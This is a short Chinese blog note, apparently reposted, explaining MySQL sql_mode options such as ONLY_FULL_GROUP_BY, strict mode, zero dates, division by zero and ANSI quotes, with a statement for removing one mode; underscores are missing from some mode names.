set sql_mode=(select replace  (@@sql_mode,'ONLY_FULL_GROUP_BY','')); 可以使用該語句來將空格替換掉only_full_group_by

STRICTTRANSTABLES:在該模式下,如果一個值不能插入到一個事務表中,則中斷當前的操作,對非事務表不做任何限制。

NOZERODATE:在嚴格模式,不要將 '0000-00-00'做為合法日期。你仍然可以用IGNORE選項插入零日期。在非嚴格模式,可以接受該日期,但會生成警告。

ERRORFORDIVISIONBYZERO:在嚴格模式,在INSERT或UPDATE過程中,如果被零除(或MOD(X,0)),則產生錯誤(否則為警告)。如果未給出該模式,被零除時MySQL返回NULL。如果用到INSERT IGNORE或UPDATE IGNORE中,MySQL生成被零除警告,但操作結果為NULL。

NOAUTOCREATE_USER:防止GRANT自動創建新用戶,除非還指定了密碼。

ANSIQUOTES:啟用ANSIQUOTES后,不能用雙引號來引用字符串,因為它被解釋為識別符。

PIPESASCONCAT:將"||"視為字符串的連接操作符而非或運算符,這和Oracle數據庫是一樣是,也和字符串的拼接函數Concat想類似。

太晚了,不搞了qaq,感覺學海無涯啊。


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM